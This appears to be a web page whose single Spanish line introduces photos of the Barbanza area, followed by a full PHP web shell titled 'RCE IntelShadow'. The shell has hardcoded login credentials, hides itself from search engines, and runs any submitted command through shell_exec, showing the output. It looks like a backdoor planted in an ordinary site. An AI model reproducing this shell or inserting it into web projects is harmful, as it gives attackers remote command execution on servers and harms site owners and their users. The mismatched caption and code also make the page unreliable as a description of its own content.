A continuación te presentamos una colección de imágenes del entorno en la zona del Barbanza.
<?php
session_start();
$user_valido = "IntelShadow";
$password_valida = "IntelShadow";
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . strtok($_SERVER["REQUEST_URI"], '?'));
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {
$user = $_POST['user'] ?? '';
$pass = $_POST['password'] ?? '';
if ($user === $user_valido && $pass === $password_valida) {
$_SESSION['AUTH'] = true;
$_SESSION['user'] = $user;
} else {
$error = "XXX TRY AGAIN";
}
}
if (!isset($_SESSION['AUTH']) || $_SESSION['AUTH'] !== true) {
?>
<!DOCTYPE html>
<html>
<head>
<title>RCE IntelShadow</title>
<meta name="robots" content="noindex, nofollow">
<style>
body { font-family: Arial; background: #f5f5f5; display: flex; justify-content: center; align-items: center; height: 100vh; }
.login { background: white; padding: 30px; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); width: 300px; }
input { width: 100%; padding: 10px; margin: 8px 0; border: 1px solid #ddd; border-radius: 5px; }
button { background: #007bff; color: white; padding: 10px; border: none; border-radius: 5px; width: 100%; cursor: pointer; }
.error { color: red; margin-bottom: 10px; }
</style>
</head>
<body>
<div class="login">
<h2>CONTROL PANEL</h2>
<?php if (isset($error)) echo "<p class='error'>$error</p>"; ?>
<form method="POST">
<input type="text" name="user" placeholder="Usuario" required>
<input type="password" name="password" placeholder="Contraseña" required>
<button type="submit" name="login">Entrar</button>
</form>
</div>
</body>
</html>
<?php
exit;
}
$output = '';
if (isset($_POST['cmd'])) {
$comando = $_POST['cmd'];
$comando = escapeshellcmd($comando);
$output = shell_exec($comando . ' 2>&1');
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>
<meta name="robots" content="noindex, nofollow">
<style>
body { font-family: monospace; background: #1e1e2f; color: #fff; padding: 20px; }
.container { max-width: 1000px; margin: auto; }
.header { background: #2d2d44; padding: 15px; border-radius: 8px; margin-bottom: 20px; display: flex; justify-content: space-between; }
.cmd-box { background: #2d2d44; padding: 20px; border-radius: 8px; }
input[type=text] { width: 80%; padding: 12px; background: #1e1e2f; color: #0f0; border: 1px solid #444; font-family: monospace; }
button { padding: 12px 20px; background: #007bff; border: none; color: white; cursor: pointer; border-radius: 4px; }
.output { background: #1e1e2f; padding: 15px; border-radius: 5px; margin-top: 20px; border: 1px solid #444; overflow-x: auto; }
.output pre { margin: 0; color: #0f0; }
.logout a { color: #ff6b6b; text-decoration: none; }
</style>
</head>
<body>
<div class="container">
<div class="header">
<div>User <strong><?php echo htmlspecialchars($_SESSION['user']); ?></strong></div>
<div class="logout"><a href="?logout=1">LOGOUT</a></div>
</div>
<div class="cmd-box">
<h3>Commands</h3>
<form method="POST">
<input type="text" name="cmd" placeholder="RCE" value="<?php echo isset($_POST['cmd']) ? htmlspecialchars($_POST['cmd']) : ''; ?>" autofocus>
<button type="submit">Send</button>
</form>
</div>
<?php if ($output !== ''): ?>
<div class="output">
<strong>OUTPUT</strong>
<pre><?php echo htmlspecialchars($output); ?></pre>
</div>
<?php endif; ?>
</div>
</body>
</html>
